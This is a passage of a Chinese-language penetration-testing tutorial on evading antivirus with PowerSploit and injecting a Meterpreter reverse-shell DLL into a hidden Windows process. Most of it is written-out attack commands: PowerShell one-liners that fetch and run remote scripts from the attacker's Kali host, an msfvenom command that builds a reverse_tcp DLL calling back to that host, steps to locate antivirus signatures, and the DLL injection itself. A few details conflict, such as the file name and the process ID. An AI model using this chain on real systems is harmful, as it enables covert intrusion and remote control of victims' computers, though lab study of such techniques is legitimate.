接上文 Kali渗透测试:远程控制被控端免杀及DLL生成、注入反弹(一)https://developer.aliyun.com/article/1618429
2. PowerSploit提供的免杀方法
如上所述,msfvenon提供的免杀方案已经很难发挥作用了。PowerSploit工具基于PowerShell工具,PowerShell是微软提供的一个程序,相当于UNIX系统的BASH命令, 它是个很强大的工具,学会使用它对Windows上的安全工作有很大帮助。使用PowerShell来实现被控端可以逃避很多反病毒软件的查杀。因此PowerSploit也成为了一个非常受欢迎的黑客工具。在Kali Linux中依次点击菜单栏10-Post Exploitation/OS Backdoors/powersploit来启动PowerSploit,如下图所示:
启动之后的PowerSploit其实是一个目录,里面包含了一些其他的目录内容,如果要使用这个工具,需要将PowerSploit目录当做一个网站发布出去。
┌──(root💀kali)-[/usr/share/windows-resources/powersploit]
└─# python3 -m http.server 8000
注意: 如果要在浏览器直接访问powersploit一定要在powersploit路径下/usr/share/windows-resources/powersploit运行上面箭头所指的启动命令。否则无法直接访问该目录。
启动之后,在靶机(Win7)安装有PowerShell的机器上访问Kali Linux IP地址和8000端口,就可以直接访问到powersploit目录了,如下图所示:
PowerSploit功能很多,首先从AntivirusBypass开始,这个功能可以用来检测被控端特征码。AntivirusBypass的思想很简单,既然被控端程序中的一段内容是特征码,那么我们就将被控端程序分成n个部分,然后分别使用杀软检查。如果哪个部分报毒,那么说明这个部分存在特征码,接着再将报毒部分分成n个部分,再分别使用杀毒软件检查,逐渐找到特征码所在位置。
步骤如下:
1. 下载Find-AVSignature.ps1文件
在靶机(Win7)中使用PowerShell的下载功能,命令如下:
PS C:\Users\CISP-PTE>iex(New-Object Net.WebClient).DownloadString("http://192.168.68.125:8000/AntivirusBypass/Find-AVSignature.ps1")
要下载的脚本在Kali建立服务器下的/AntivirusBypass/Find-AVSignature.ps1文件。使用方法可执行如下图箭头所指命令。
2. 生成测试文件
测试的目标是一个20000字节的test.exe, 首先把它移动到C盘下,然后使用如下命令:
PS C:\Users\CISP-PTE> Find-AVSignature -StartByte 0 -EndByte 200000 -Interval 100000 -Path C:\test.exe -OutPath C:\run2 -Verbose
该命令执行之后,在C:\run2目录下生成2个文件。使用杀毒软件对这2个文件进行检查,找出报毒部分。然后反复执行,知道发现特征吗所在位置。
3. Invoke-DllInjection脚本注入DLL实现反向被控
PowerSploit中提供的第2部分功能是CodeExecution,这里主要提供4个脚本:
Invoke-DllInjection.ps1
Invoke-ReflectivePEInjection.ps1
Invoke-Shellcode.ps1
Invoke-WmiCommand.ps1
脚本Invoke-DllInjection用来实现将DLL文件注入到一个进程中,例如我们生成一个DLL类型反向被控端。
1. 生成DLL反向被控payload,命令如下:
┌──(root💀kali)-[~]
└─# msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.68.125 lport=5000 -f dll -o /var/payload.dll
运行结果如下图所示:
注意:此处一定要生成64位payload,就是windows/x64,否则生成是32位dll不能完成注入。除非靶机也是32位系统。
这也是本人在实践中获取的经验和知识。
2. 在靶机下载payload.dll
在靶机PowerShell执行如下命令,将payload.dll下载到C盘根目录:
PS C:\Users\CISP-PTE>(New-Object System.Net.WebClient).DownloadFile("http://192.168.68.125:8000/payload1.dll", "c:\payload.dll")
注意:在Kali Linux中要把payload.dll文件拷贝到"/usr/share/windows-resources/powersploit/"路径下,然后执行上面的下载命令。
3. 在靶机中下载Invoke-DllInjection脚本
下载完payload.dll文件,接下来用PowerShell下载Invoke-DllInjection脚本,命令如下:
PS C:\Users\CISP-PTE>iex(New-Object Net.WebClient).DownloadString("http://192.168.68.125:8000/CodeExecution/Invoke-DllInjection.ps1")
使用get-help来查看Invoke-DllInjection的帮助,如下图所示:
4. 在靶机建立一个隐藏进程
在PowerShell中使用如下命令,建立一个隐藏进程:
PS C:\Users\CISP-PTE>Start-Process C:\windows\system32\notepad.exe -WindowStyle Hidden
在PowerShell中使用“Get-Process”获取进程ID,命令如下:
PS C:\Users\CISP-PTE>Get-Process -Name notepad
- 将payload.dll注入到700进程
按照上图获取的帮助语法进行注入,命令如下:
PS C:\Users\CISP-PTE> Invoke-DllInjection -ProcessID 3368 c:\payload.dll
注入成功,如下图所示:
- Kali Linux msf界面反弹成功
如下图所示:
红框内是靶机Win7的用户目录下的文件。